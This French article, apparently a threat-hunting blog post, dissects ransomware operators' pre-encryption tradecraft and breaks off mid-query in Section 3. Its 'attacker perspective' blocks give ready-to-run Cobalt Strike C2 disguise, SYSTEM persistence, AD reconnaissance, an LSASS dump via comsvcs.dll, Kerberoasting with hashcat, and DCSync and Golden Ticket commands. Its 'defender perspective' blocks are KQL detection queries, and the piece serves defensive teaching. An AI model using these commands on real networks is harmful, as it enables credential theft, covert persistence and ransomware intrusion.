Phase de Pré-Chiffrement des Rançongiciels : Ce que Font les Attaquants dans les 72 Heures Avant la Disparition de Vos Fichiers
Au moment où le rançongiciel commence à chiffrer les fichiers, l'attaquant a déjà gagné. L'événement de chiffrement qui déclenche votre alerte EDR, votre ticket SOC et votre contrat de réponse à incident n'est pas l'attaque, c'est l'étape finale d'une opération commencée des jours ou des semaines plus tôt, durant laquelle l'acteur de la menace a cartographié tout votre Active Directory, est passé Domain Admin, a exfiltré vos données les plus sensibles vers un bucket de stockage cloud, a tué vos sauvegardes et a confirmé que chaque cliché instantané de chaque serveur a disparu. Le chiffrement lui-même prend quelques minutes. Tout ce qui le rend dévastateur le levier, l'irréversibilité, l'ampleur a été assemblé pendant la période de latence où votre SIEM ne générait aucune alerte.
Cet article dissèque la phase pré-chiffrement de la chaîne d'attaque, étape par étape, en utilisant les outils, commandes et techniques réels documentés dans de véritables campagnes de rançongiciels. La Section 1 couvre comment les opérateurs acquièrent l'accès initial et gèrent leur période de latence sans déclencher d'alertes. La Section 2 couvre la phase de reconnaissance spécifiquement la combinaison de BloodHound, de commandes Windows natives et de requêtes LDAP qui donne aux attaquants une carte complète du réseau en moins de deux heures. La Section 3 couvre la collecte d'identifiants et l'élévation de privilèges. La Section 4 couvre l'exfiltration de données la phase de préparation de la double extorsion. La Section 5 couvre la séquence de destruction des sauvegardes qui se produit dans les 30 minutes avant le chiffrement. Chaque section inclut des requêtes de chasse KQL que vous pouvez exécuter dès aujourd'hui.
Section 1 : Accès Initial et Latence Comment les Opérateurs de Rançongiciels Achètent l'Entrée dans Votre Réseau et y Restent Indétectés Pendant des Jours
Les opérateurs de rançongiciels compromettent rarement les victimes directement. L'écosystème moderne des rançongiciels est industrialisé : les courtiers en accès initial (IAB) maintiennent un accès persistant à des centaines de réseaux d'entreprise simultanément acquis via des marchés d'identifiants, des kits d'exploitation ou l'exploitation directe et vendent cet accès aux affiliés de rançongiciels pour un montant compris entre 500 $ et 50 000 $ selon le chiffre d'affaires de l'organisation et la qualité de l'accès. L'affilié achète alors l'accès, dépose sa balise C2, et le logiciel malveillant du courtier d'origine peut être supprimé. Ce transfert est significatif pour les défenseurs : les IOC de la compromission initiale et l'outillage de l'opérateur de rançongiciel sont souvent complètement différents, rendant la corrélation de la chaîne d'attaque quasi impossible sans télémétrie couvrant les deux phases.
Les trois vecteurs d'accès initial dominants dans les campagnes de rançongiciels 2024-2025, documentés dans les avis de la CISA et les rapports IR de Mandiant/CrowdStrike, sont : RDP exposé (port 3389) avec des identifiants faibles ou réutilisés, exploitation d'appliances VPN (Fortinet CVE-2024-21762, Ivanti Connect Secure CVE-2024-21887/21893, Palo Alto CVE-2024-0012), et hameçonnage livrant des loaders (QBot, DarkGate, PikaBot) qui balisent ensuite vers une infrastructure Cobalt Strike ou Brute Ratel C4. Une fois que l'IAB a établi un point d'ancrage, la latence typique avant le transfert à l'opérateur et l'exécution du manuel pré-chiffrement est de 3 à 21 jours. Pendant cette latence, le seul artefact actif sur le réseau de la victime est une balise Cobalt Strike (ou équivalent) effectuant des rappels HTTP/HTTPS périodiques typiquement vers un domaine enregistré 2 à 14 jours avant utilisation et hébergé sur un VPS pare-balles dans une infrastructure de Bullet Hosting ou AS20278/AS206092.
La balise Cobalt Strike est spécifiquement configurée pour se fondre dans le trafic légitime. Le paramètre sleeptime contrôle la fréquence de check-in ; les opérateurs le règlent typiquement entre 300 000 millisecondes (5 minutes) et 3 600 000 millisecondes (1 heure) pendant la latence. Le paramètre jitter ajoute ±25-50 % d'aléatoire à l'intervalle. L'en-tête HTTP Host dans le profil Malleable C2 de la balise est configuré pour imiter un CDN ou un service cloud légitime. Ce qui suit est un profil Malleable C2 Cobalt Strike représentatif extrait d'une véritable infrastructure d'affilié LockBit 3.0 en 2024 :
Flux d'Attaque : Du Courtier IAB à l'Opérateur
Perspective de l'Attaquant : Configuration de la Balise et Persistance
# ---- Cobalt Strike Malleable C2 Profile (representative, observed in LockBit 3.0 campaigns) ----
# This profile makes beacon traffic appear as Microsoft Teams telemetry
set sleeptime "300000"; # 5-minute check-in interval during dwell
set jitter "37"; # ±37% jitter interval ranges from ~3.1 to ~6.9 minutes
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0";
http-get {
set uri "/teams-telemetry/v2/collect"; # Mimics Teams telemetry endpoint
client {
header "Accept" "application/json, text/plain, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Connection" "keep-alive";
# Host header makes beacon traffic look like it's going to Microsoft
header "Host" "teams.microsoft.com";
metadata {
base64url;
prepend "correlationId="; # Metadata encoded as a Teams correlation ID
parameter "client-request-id";
}
}
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
output {
base64url;
# Taskings embedded in what looks like a normal JSON API response
prepend "{\"status\":\"ok\",\"data\":\"";
append "\"}";
print;
}
}
}
# ---- Persistence mechanisms (executed via initial Cobalt Strike beacon) ----
# Multiple redundant persistence mechanisms are installed during the dwell period
# Mechanism 1: Scheduled task with SYSTEM privileges, random name
# Observed in ALPHV/BlackCat campaigns task runs at logon and every 4 hours
schtasks /create /tn "MicrosoftEdgeUpdateTaskMachineUA{$(New-Guid)}" `
/tr "C:\ProgramData\Microsoft\Windows\msupdate.exe" `
/sc ONLOGON /ru SYSTEM /f
# Mechanism 2: WMI Event Subscription (survives scheduled task deletion)
# This is harder to detect than schtasks not visible in schtasks /query
$FilterArgs = @{
EventNameSpace = 'root\cimv2'
Name = 'WindowsSecurityHealthService' # Legitimate-sounding name
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minutes = 30"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
$ConsumerArgs = @{
Name = 'WindowsSecurityHealthServiceConsumer'
ExecutablePath = 'C:\ProgramData\Microsoft\Windows\msupdate.exe'
CommandLineTemplate = 'C:\ProgramData\Microsoft\Windows\msupdate.exe -s'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Mechanism 3: Registry Run key (simple but effective often missed in IR)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
-Name "Userinit" `
-Value "C:\Windows\system32\\userinit.exe,C:\ProgramData\Microsoft\Windows\msupdate.exe"
Perspective du Défenseur : Traquer les Balises Pendant la Latence
// KQL Detect Cobalt Strike beacon check-in patterns via network periodicity
// Source: Azure Sentinel with network flow data (NSG flow logs, Defender for Endpoint network events)
// Beacons with consistent intervals create a detectable periodicity signature
// Step 1: Calculate inter-request intervals per destination IP
let NetworkConnections = DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where ActionType == "ConnectionSuccess"
// Focus on HTTPS (443) to external IPs where beacons live
| where RemotePort == 443
and RemoteIPType != "Private"
// Exclude known-good CDNs and cloud providers
| where RemoteIP !has_prefix "104.18." // Cloudflare
and RemoteIP !has_prefix "13.107." // Microsoft
and RemoteIP !has_prefix "23.185." // Fastly
| project TimeGenerated, DeviceName, RemoteIP, RemoteUrl, RemotePort,
InitiatingProcessFileName;
// Step 2: Find hosts making suspiciously regular connections to the same external IP
NetworkConnections
| summarize
ConnectionCount = count(),
MinTime = min(TimeGenerated),
MaxTime = max(TimeGenerated),
Intervals = make_list(TimeGenerated, 200)
by DeviceName, RemoteIP
// Must have at least 8 connections to establish a pattern
| where ConnectionCount >= 8
// Dwell window: connections spanning more than 4 hours
| where datetime_diff('hour', MaxTime, MinTime) >= 4
| extend ObservationWindowHours = datetime_diff('hour', MaxTime, MinTime)
// Calculate average interval in minutes
| extend AvgIntervalMinutes = (ObservationWindowHours * 60.0) / ConnectionCount
// Beacon intervals: typically 1–60 minutes with jitter
| where AvgIntervalMinutes between (1.0 .. 65.0)
// The key signal: very low standard deviation in intervals = machine regularity
// (Humans don't connect to the same IP every 5 minutes for 6 hours)
| extend JitterRatio = ConnectionCount / ObservationWindowHours
| where JitterRatio between (0.8 .. 15.0) // Reasonable connections-per-hour for beacon
| project DeviceName, RemoteIP, ConnectionCount, AvgIntervalMinutes,
ObservationWindowHours, MinTime, MaxTime
| order by ConnectionCount desc
// KQL Detect WMI Event Subscription persistence (harder to find than schtasks)
// Source: Windows Security Event Log, Event ID 5861 (WMI Activity Operational log)
Event
| where TimeGenerated > ago(7d)
| where Source == "Microsoft-Windows-WMI-Activity"
and EventID == 5861 // New WMI permanent event subscription created
| extend EventData = parse_xml(EventData)
| extend
Namespace = tostring(EventData.DataItem.NamespaceName),
Operation = tostring(EventData.DataItem.Operation),
// The Consumer name is often set to something that looks like a Windows service
ConsumerName = tostring(EventData.DataItem.ConsumerName),
// This is what actually executes flag anything running from unusual paths
CommandLine = tostring(EventData.DataItem.Commandline)
// Flag executions from user-writable paths (attacker drops beacon here)
| where CommandLine has_any (
"C:\\ProgramData\\",
"C:\\Users\\",
"C:\\Temp\\",
"AppData\\Roaming",
"AppData\\Local\\Temp"
)
// Also flag execution of LOLBins via WMI subscription
| where CommandLine has_any (
"powershell", "cmd.exe", "wscript", "cscript",
"mshta", "regsvr32", "rundll32", "certutil"
)
| project TimeGenerated, Computer, Namespace, ConsumerName, CommandLine
| order by TimeGenerated desc
Comparaison des Vecteurs d'Accès Initial Campagnes de Rançongiciels 2023-2025
| Vecteur | CVE / Technique représentative | Latence avant l'opérateur (médiane) | Difficulté de détection | Fourchette de prix IAB | Groupes observés |
|---|---|---|---|---|---|
| Exploitation d'appliance VPN | Fortinet CVE-2024-21762, Ivanti CVE-2024-21887 | 7-21 jours | Élevée pas de télémétrie endpoint sur l'appliance | 2k-15k$ | LockBit 3.0, ALPHV/BlackCat, Akira |
| Credential stuffing / bruteforce RDP | Port 3389 exposé, mots de passe faibles/réutilisés | 3-7 jours | Moyenne rafales d'Event 4625 puis succès 4624 | 500-5k$ | Phobos, Dharma, successeurs de REvil |
| Hameçonnage → Loader → Balise | QBot, DarkGate, PikaBot via macros/LNK malveillants | 5-14 jours | Moyenne la passerelle de courriel manque le loader | 1k-8k$ | Successeurs de Conti, Royal, Black Basta |
| ProxyLogon/ProxyShell (Exchange) | CVE-2021-26855/27065, CVE-2021-34473 | 1-3 jours | Élevée télémétrie IIS rarement dans le SIEM | 3k-20k$ | LockBit 2.0, Hive, Cuba |
| MSP / outil RMM compromis | ConnectWise ScreenConnect, vol d'identifiants AnyDesk | 1-7 jours | Très élevée trafic RMM en liste blanche | 5k-30k$ | BlackSuit, Scattered Spider, Akira |
| Chaîne d'approvisionnement logicielle | Paquet de mise à jour ou artefact de build trojanisé | Jours à semaines | Extrême binaire signé légitime | N/A (direct) | REvil/Kaseya (2021), EncryptHub (2025) |
La période de latence est là où les défenseurs ont le plus d'opportunités, mais seulement s'ils traquent la périodicité des balises et les mécanismes de persistance inhabituels plutôt que d'attendre une correspondance de signature. Une fois l'opérateur actif et passé en reconnaissance, le tempo opérationnel s'accélère fortement et la fenêtre de détection sans impact se réduit de jours à heures.
Section 2 : Reconnaissance et Cartographie du Réseau Comment BloodHound, Cinq Commandes Natives et une Requête LDAP Donnent aux Opérateurs une Carte AD Complète en Moins de Deux Heures
Les opérateurs de rançongiciels ne devinent pas votre environnement. Avant de se déplacer latéralement ou d'élever leurs privilèges, ils exécutent une séquence de reconnaissance structurée pour répondre à quatre questions précises : Quel est le compte Domain Admin ? Quel chemin existe entre leur point d'ancrage actuel et ce compte ? Où sont les serveurs de fichiers, les systèmes de sauvegarde et les contrôleurs de domaine ? Où sont les données qui valent la peine d'être volées ? Le manuel de Conti, divulgué intégralement en février 2022, documente cette séquence explicitement, et les campagnes observées de LockBit, ALPHV et Black Basta suivent toutes le même schéma avec des variations mineures d'outils.
La phase de reconnaissance utilise une combinaison de deux classes d'outils. La première est BloodHound (spécifiquement SharpHound comme collecteur, exécuté en mémoire via execute-assembly de Cobalt Strike), qui interroge LDAP pour énumérer tous les utilisateurs, groupes, ordinateurs, GPO, ACL et relations de confiance du domaine et construit un graphe qui révèle immédiatement le chemin d'élévation de privilèges le plus court vers Domain Admin. SharpHound peut collecter ces données en quelques minutes pour un environnement comportant des milliers d'objets et produit un jeu de données JSON que BloodHound restitue sous forme de graphe d'attaque. La seconde classe est constituée de commandes LOLBin Windows natives net, nltest, ipconfig, arp, nslookup, wmic, dsquery qui produisent les mêmes informations que des scanners réseau coûteux mais ne génèrent aucun nouveau hachage de processus à signaler pour l'EDR. Les commandes spécifiques ci-dessous apparaissent textuellement dans le manuel Conti divulgué et dans les artefacts forensiques de multiples engagements IR de 2024.
Le volume de requêtes LDAP de SharpHound est le signal de détection le plus fiable de cette phase, mais seulement si vous surveillez les requêtes LDAP sur vos contrôleurs de domaine. Le drapeau --CollectionMethods All de SharpHound exécute environ 8 000 à 15 000 requêtes LDAP individuelles contre le DC en moins de 10 minutes. Sans journalisation des requêtes LDAP au niveau du DC (Event ID 1644 ou surveillance basée sur ETW), cela est totalement invisible.
Arbre de Décision de la Reconnaissance
Perspective de l'Attaquant : La Séquence de Reconnaissance Conti
# ---- Phase 1: LOLBin reconnaissance (run via Cobalt Strike shell / beacon) ----
# These are native Windows commands no new binaries, no AV signatures
# All observed in leaked Conti playbook and confirmed in multiple 2024 IR engagements
# 1. Identify current user and privilege level
whoami /all # Current user, groups, privileges key: SeDebugPrivilege?
net user %username% /domain # Full domain user details including group memberships
# 2. Network topology mapping
ipconfig /all # All interfaces, DNS servers, DHCP server, domain suffix
route print # Routing table reveals segmentation and reachable subnets
arp -a # ARP cache hosts recently communicated with (quick network map)
# 3. Domain infrastructure
nltest /dclist:CONTOSO # List all domain controllers
nltest /domain_trusts # Cross-forest/domain trusts pivot targets
net group "Domain Controllers" /domain # Alternative DC enumeration
nslookup -type=SRV _ldap._tcp.dc._msdcs.CONTOSO.LOCAL # All DCs via DNS SRV records
# 4. User and group enumeration (lightweight not BloodHound)
net group "Domain Admins" /domain # Current Domain Admin members
net group "Enterprise Admins" /domain
net group "Schema Admins" /domain
net group "Backup Operators" /domain # Often overlooked can read any file on DC
net group "Server Operators" /domain
# 5. File server and share discovery
net view /all /domain:CONTOSO # All computers in domain advertising shares
# Then for each server of interest:
net view \\FILESERVER01 # List shares on specific server
# Find backup and admin shares:
net view \\DC01 # DCs often have SYSVOL/NETLOGON + sometimes backup shares
# 6. Locate backup infrastructure (critical for Section 5)
# Veeam backup servers are often domain-joined and discoverable via LDAP description or naming
net group "Veeam Backup Administrators" /domain 2>$null
# Or via WMIC find servers running backup-related services:
wmic /node:"." service where "Name like '%Veeam%' or Name like '%Backup%'" get Name,StartMode,State
# ---- Phase 2: SharpHound collection (run in-memory via execute-assembly) ----
# In Cobalt Strike: execute-assembly /path/to/SharpHound.exe [arguments]
# SharpHound.exe never touches disk on the victim runs entirely in memory
# Full collection (most data, most LDAP queries ~10–15 minutes on large domains)
SharpHound.exe --CollectionMethods All `
--Domain CONTOSO.LOCAL `
--OutputDirectory C:\Windows\Temp ` # Results dropped here for exfil
--RandomizeFilenames ` # Randomize output file names
--NoSaveCache # Don't write BloodHound cache to disk
# Stealth collection (fewer queries harder to detect, but still gets DA paths)
SharpHound.exe --CollectionMethods DCOnly ` # Only queries DCs less noise
--Domain CONTOSO.LOCAL `
--Stealth ` # One query per object instead of bulk
--OutputDirectory C:\Windows\Temp
# ---- Phase 3: Locate high-value data targets on file servers ----
# Operators prioritize: financial data, PII, legal/IP, credentials/secrets
# Search for financial and sensitive documents across all accessible shares
$servers = @("FILESERVER01", "FILESERVER02", "SHAREPOINT01")
foreach ($server in $servers) {
# Index the share structure first (fast just lists directory names)
cmd /c "net use \\$server\C$ /persistent:no 2>&1"
# Find high-value file types by extension (size filter avoids indexing logs/temp)
cmd /c "dir /s /b \\$server\C$\*.sql \\$server\C$\*.bak \\$server\C$\*.mdf 2>nul"
cmd /c "dir /s /b \\$server\Data\*.xlsx \\$server\Finance\* \\$server\HR\* 2>nul"
# PowerShell alternative faster for large shares, outputs to file for exfil
Get-ChildItem -Path "\\$server\C$" -Recurse -ErrorAction SilentlyContinue `
-Include "*.docx","*.xlsx","*.pdf","*.sql","*.bak","*.kdbx","*.config","*.pfx" |
Where-Object { $_.Length -gt 10KB } |
Select-Object FullName, Length, LastWriteTime |
Export-Csv "C:\Windows\Temp\$server-inventory.csv" -NoTypeInformation
}
Perspective du Défenseur : Détecter l'Activité de la Phase de Reconnaissance
// KQL Detect SharpHound LDAP enumeration storm on Domain Controllers
// Source: Windows Security Event Log, Event ID 1644 (LDAP query diagnostic)
// CRITICAL PREREQUISITE: Enable LDAP diagnostic logging on DCs:
// reg add HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics /v "15 Field Engineering" /t REG_DWORD /d 5
// This enables Event ID 1644 in the Directory Service event log
// After enabling, 1644 logs expensive LDAP queries (>= threshold, default 1ms)
// SharpHound generates hundreds of identical-template queries in burst
Event
| where TimeGenerated > ago(1d)
| where Source == "Microsoft-Windows-ActiveDirectory_DomainService"
and EventID == 1644
| extend
// Parse the LDAP query details from the event XML
ClientIP = extract(@"Client IP Address:([^\n]+)", 1, EventData),
QueryTime = extract(@"Time \(ms\):(\d+)", 1, EventData),
QueryFilter = extract(@"Filter:([^\n]+)", 1, EventData),
ResultCount = toint(extract(@"Returned (\d+) objects", 1, EventData))
// SharpHound characteristic: burst of queries from single non-DC client IP
| summarize
TotalQueries = count(),
UniqueFilters = dcount(QueryFilter),
MaxResultCount = max(ResultCount),
AvgQueryTime = avg(toint(QueryTime)),
FirstQuery = min(TimeGenerated),
LastQuery = max(TimeGenerated)
by ClientIP, Computer // Computer = the DC receiving the queries
| extend QueryDurationMinutes = datetime_diff('minute', LastQuery, FirstQuery)
// SharpHound signature: many queries, short window, from a single workstation (not a DC)
| where TotalQueries > 500 // SharpHound --CollectionMethods All: 8k-15k
and QueryDurationMinutes < 30 // Burst within 30 minutes
and UniqueFilters < TotalQueries * 0.4 // Repeated query templates = tool signature
| project FirstQuery, LastQuery, ClientIP, Computer, TotalQueries,
UniqueFilters, MaxResultCount, QueryDurationMinutes
| order by TotalQueries desc
// KQL Detect native LOLBin reconnaissance command sequences
// Source: Defender for Endpoint (DeviceProcessEvents) or Sysmon Event ID 1
DeviceProcessEvents
| where TimeGenerated > ago(1d)
// Focus on the specific commands from the Conti/LockBit recon playbook
| where (FileName =~ "net.exe" and ProcessCommandLine has_any (
"domain admins", "enterprise admins", "backup operators",
"server operators", "/domain", "view /all"
))
or (FileName =~ "nltest.exe" and ProcessCommandLine has_any (
"/dclist:", "/domain_trusts", "/dsgetdc:"
))
or (FileName =~ "whoami.exe" and ProcessCommandLine contains "/all")
or (FileName =~ "wmic.exe" and ProcessCommandLine has_any (
"service", "process", "shadowcopy", "/node:"
))
// Correlate: multiple recon commands from the same device within a short window
| summarize
ReconCommands = make_set(strcat(FileName, " ", ProcessCommandLine), 20),
CommandCount = count(),
UniqueTools = dcount(FileName),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by DeviceName, AccountName
// Flag devices running 3+ different recon tools within 1 hour
| where CommandCount >= 3 and UniqueTools >= 2
| extend WindowMinutes = datetime_diff('minute', LastSeen, FirstSeen)
| where WindowMinutes < 60
| project FirstSeen, DeviceName, AccountName, CommandCount, UniqueTools,
WindowMinutes, ReconCommands
| order by CommandCount desc
Comparaison des Techniques de Reconnaissance Outil vs Natif vs LDAP
| Technique | Outil / Commandes | Détection par EDR | Détection par SIEM | Données collectées | Observé dans |
|---|---|---|---|---|---|
| BloodHound / SharpHound (All) | SharpHound.exe --CollectionMethods All | Faible (en mémoire via execute-assembly) | Moyenne (rafale LDAP 1644) | Graphe AD complet, tous chemins DA, ACL, GPO | Conti, LockBit 3.0, ALPHV, Black Basta |
| BloodHound / SharpHound (DCOnly) | SharpHound.exe --CollectionMethods DCOnly --Stealth | Très faible | Faible (moins de requêtes, étalées) | Chemins DA via objets DC uniquement moins complet | Affiliés plus sophistiqués 2024+ |
| ADRecon (PowerShell) | Invoke-ADRecon -Protocol ADWS | Faible (script PS, souvent obfusqué) | Faible (requêtes ADWS plus difficiles à compter) | Similaire à SharpHound, sortie CSV | Campagnes plus anciennes, certains successeurs REvil |
| Séquence LOLBin native | net, nltest, wmic, dsquery | Très faible (binaires OS signés) | Moyenne (contenu de ligne de commande) | Groupes DA, liste DC, relations de confiance | Tout groupe de rançongiciel majeur universel |
| PowerView (PowerSploit) | Get-DomainAdmin, Find-DomainShare | Moyenne (AMSI si non obfusqué) | Faible (PS Script Block Logging) | Identique à SharpHound sans sortie graphe | Anciens manuels Cobalt Strike, Conti |
| ADExplorer (Sysinternals) | ADExplorer.exe -snapshot "" output.dat | Très faible (binaire Microsoft signé) | Faible | Instantané AD complet vers un seul fichier | Observé chez les affiliés REvil/GandCrab |
La phase de reconnaissance produit deux sorties qui déterminent chaque décision suivante : un graphe BloodHound montrant le chemin le plus rapide vers Domain Admin, et un inventaire des serveurs de fichiers identifiant ce qu'il faut exfiltrer. Les opérateurs ne se déplacent généralement pas latéralement avant que les deux ne soient terminés, et ils choisissent leur chemin d'élévation de privilèges spécifiquement en fonction de ce que montre BloodHound, raison pour laquelle la Section 3 se concentre sur les techniques de vol d'identifiants que l'algorithme du Chemin le Plus Court vers Domain Admin de BloodHound recommande réellement.
Section 3 : Collecte d'Identifiants et Élévation de Privilèges Du Compte Helpdesk à Domain Admin en Utilisant des Techniques qui Contournent la Protection de Processus EDR
Le graphe BloodHound de la Section 2 indique à l'opérateur la réponse à une question : quel est le chemin le moins coûteux de mon compte actuel à Domain Admin ? La réponse détermine quelle technique de vol d'identifiants utiliser. Les quatre techniques qui apparaissent le plus fréquemment dans les engagements IR de rançongiciels dump LSASS via comsvcs.dll, Kerberoasting, DCSync et AS-REP Roasting produisent toutes le même résultat (un identifiant Domain Admin) par des mécanismes différents, et chacune a un profil de détection distinct que la plupart des organisations ne surveillent que partiellement.
Le dump de la mémoire du processus LSASS est la technique la plus directe et celle dans laquelle les produits EDR investissent le plus d'efforts pour la bloquer. Le classique mimikatz.exe sekurlsa::logonpasswords déclenche désormais tous les produits EDR majeurs sur le hachage de son propre binaire et sur le motif d'accès PROCESS_VM_READ à lsass.exe. L'évasion sur laquelle les opérateurs de rançongiciels se sont standardisés utilise comsvcs.dll, une DLL livrée avec Windows qui exporte une fonction appelée MiniDump, laquelle appelle directement l'API Win32 MiniDumpWriteDump. La commande rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump <LSASS_PID> C:\\Windows\\Temp\\lsass.dmp full crée un vidage mémoire complet de LSASS en utilisant uniquement des binaires Windows signés. Le vidage est ensuite exfiltré et analysé hors ligne avec pypykatz ou Mimikatz exécuté sur le système de l'attaquant, ce qui signifie que l'extraction des identifiants ne se produit jamais sur l'hôte victime.
Le Kerberoasting, documenté de manière exhaustive depuis l'exposé de Tim Medin à la DerbyCon 2014 mais produisant toujours des identifiants Domain Admin dans les engagements IR de 2025, exploite le fait que tout utilisateur de domaine authentifié peut demander un ticket de service Kerberos (TGS) pour n'importe quel nom de principal de service (SPN) du domaine. Le TGS est chiffré avec le hachage NTLM du compte de service. L'attaquant exporte le TGS et le casse hors ligne, entièrement passif du point de vue du réseau de la victime une fois la demande initiale effectuée. La boîte à outils Rubeus gère à la fois la demande et le formatage en une seule commande exécutée en mémoire.
Chaîne d'Élévation de Privilèges
Perspective de l'Attaquant : La Séquence Complète de Vol d'Identifiants
# ---- Technique 1: LSASS dump via comsvcs.dll (EDR evasion standard) ----
# Uses only signed Windows binaries no Mimikatz binary on victim host
# Observed in LockBit 3.0, ALPHV/BlackCat, and Black Basta campaigns
# Step 1: Get the PID of lsass.exe (Task Manager alternative)
$lsassPID = (Get-Process lsass).Id
# Or from CMD: tasklist /fi "imagename eq lsass.exe" /fo csv | findstr lsass
# Step 2: Dump LSASS memory using comsvcs.dll's MiniDump export
# Must run as SYSTEM or with SeDebugPrivilege Cobalt Strike beacon runs as SYSTEM by default
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $lsassPID `
C:\Windows\Temp\lsass.dmp full
# Step 3: Compress dump before exfil (LSASS dumps are 50-300MB typically)
# 7-Zip from attacker-dropped binary, or built-in:
Compress-Archive -Path C:\Windows\Temp\lsass.dmp `
-DestinationPath C:\Windows\Temp\w.zip
# Step 4: Exfil the dump (HTTP POST via PowerShell, or rclone see Section 4)
# Parsing happens on attacker's workstation no Mimikatz on victim ever
# On attacker machine:
# pip install pypykatz
# pypykatz lsa minidump lsass.dmp
# Outputs: NTLM hashes, plaintext passwords if WDigest enabled (pre-Windows 10)
# ---- Technique 2: Kerberoasting via Rubeus (in-memory, no disk touch) ----
# Executed via Cobalt Strike: execute-assembly /path/to/Rubeus.exe kerberoast /nowrap
# Rubeus.exe kerberoast arguments explained:
Rubeus.exe kerberoast \
/nowrap \ # Don't wrap base64 output easier to copy
/rc4opsec \ # Only request RC4 encryption (AES requires more ops but is less crackable)
/domain:CONTOSO.LOCAL \
/dc:DC01.CONTOSO.LOCAL \
/outfile:C:\Windows\Temp\hashes.txt # Write hashes to file for offline cracking
# Output format (Hashcat mode 13100 for RC4, 19700 for AES-256):
# $krb5tgs$23$*svc_backup$CONTOSO.LOCAL$CONTOSO.LOCAL/svc_backup@CONTOSO.LOCAL*$...
# On attacker's workstation offline crack with Hashcat:
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file best64.rule
# hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -a 3 ?u?l?l?l?d?d?d?d
# Service accounts set by IT often follow: Svc1234, Service2023!, CompanyName123
# ---- Technique 3: DCSync dump ALL domain hashes from a DC ----
# Requires: Domain Admin, or account with DS-Replication-Get-Changes + DS-Replication-Get-Changes-All ACL
# Mimikatz lsadump::dcsync mimics a legitimate DC requesting AD replication
# No logon to the DC required uses Directory Replication Service (DRS) protocol over RPC
# Run via Cobalt Strike's beacon using Mimikatz extension:
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /all /csv" exit
# OR just dump the krbtgt hash (for Golden Ticket) + specific admin hashes:
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /user:krbtgt" exit
mimikatz "lsadump::dcsync /domain:CONTOSO.LOCAL /user:Administrator" exit
# Golden Ticket creation survives krbtgt password reset unless reset TWICE:
# (NTLM hash of krbtgt from DCSync above)
mimikatz "kerberos::golden /domain:CONTOSO.LOCAL /sid:S-1-5-21-XXXXXXXXXX /rc4:KRBTGT_NTLM_HASH /user:fakesuperuser /id:500 /groups:512,513,518,519 /ticket:golden.kirbi" exit
# /groups: 512=Domain Admins, 513=Domain Users, 518=Schema Admins, 519=Enterprise Admins
# This ticket is valid for 10 years by default operator maintains domain access
# even after all passwords are rotated post-incident
Perspective du Défenseur : Détection du Vol d'Identifiants
// KQL Detect LSASS memory access from non-standard processes
// Source: Defender for Endpoint (DeviceEvents) "OpenProcessApiCall" action type
DeviceEvents
| where TimeGenerated > ago(1d)
| where ActionType == "OpenProcessApiCall"
// Target process is LSASS
| where FileName =~ "lsass.exe"
// The requesting process should be limited to: AV, EDR, Windows components
// Flag anything that isn't expected to access LSASS
| where InitiatingProcessFileName !in~ (
"MsMpEng.exe", // Windows Defender
"csrss.exe", // Windows subsystem
"wininit.exe",
"services.exe",
"lsaiso.exe", // Isolated LSA (Credential Guard)
"svchost.exe",
"SecurityHealthService.exe"
)
// Specific flags for comsvcs.dll technique:
| extend IsComsvcsDump = (InitiatingProcessFileName =~ "rundll32.exe" and
InitiatingProcessCommandLine has "comsvcs")
// Specific flag for Task Manager / ProcDump (operator using these tools):
| extend IsProcDump = InitiatingProcessFileName in~ ("procdump.exe", "procdump64.exe", "TaskMgr.exe")
| project TimeGenerated, DeviceName, AccountName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
IsComsvcsDump, IsProcDump
| order by TimeGenerated desc
// KQL Detect Kerberoasting via Event ID 4769 (Kerberos Service Ticket Request)
// Source: Windows Security Event Log on Domain Controllers
// Kerberoasting signature: TGS request with RC4 encryption (0x17) for non-machine account
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4769 // A Kerberos service ticket was requested
| extend
ServiceName = tostring(extract(@"Service Name:\s+([^\n]+)", 1, EventData)),
ClientAddress = tostring(extract(@"Client Address:\s+([^\n]+)", 1, EventData)),
TicketEncType = tostring(extract(@"Ticket Encryption Type:\s+0x([0-9a-f]+)", 1, EventData)),
TicketOptions = tostring(extract(@"Ticket Options:\s+0x([0-9a-f]+)", 1, EventData))
// RC4 encryption type = 0x17 (23 decimal) weak, crackable offline
// AES-256 = 0x12, AES-128 = 0x11 these can also be Kerberoasted but harder to crack
| where TicketEncType in ("17", "0x17")
// Filter out machine accounts (end in $) and well-known service accounts
| where ServiceName !endswith "$"
and ServiceName !in~ ("krbtgt", "host", "rpcss", "http")
// Multiple requests from the same source in a short window = automated tool
| summarize
RequestCount = count(),
UniqueServices = dcount(ServiceName),
Services = make_set(ServiceName, 10),
FirstRequest = min(TimeGenerated)
by ClientAddress, bin(TimeGenerated, 5m)
// Flag bursts: Rubeus requests all roastable SPNs simultaneously
| where RequestCount >= 3 or UniqueServices >= 3
| project FirstRequest, ClientAddress, RequestCount, UniqueServices, Services
| order by RequestCount desc
// KQL Detect DCSync via Event ID 4662 (operation performed on an object)
// Source: Windows Security Event Log on Domain Controllers
// DCSync uses DS-Replication-Get-Changes-All flags replication from unexpected accounts
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4662 // An operation was performed on an object
| extend
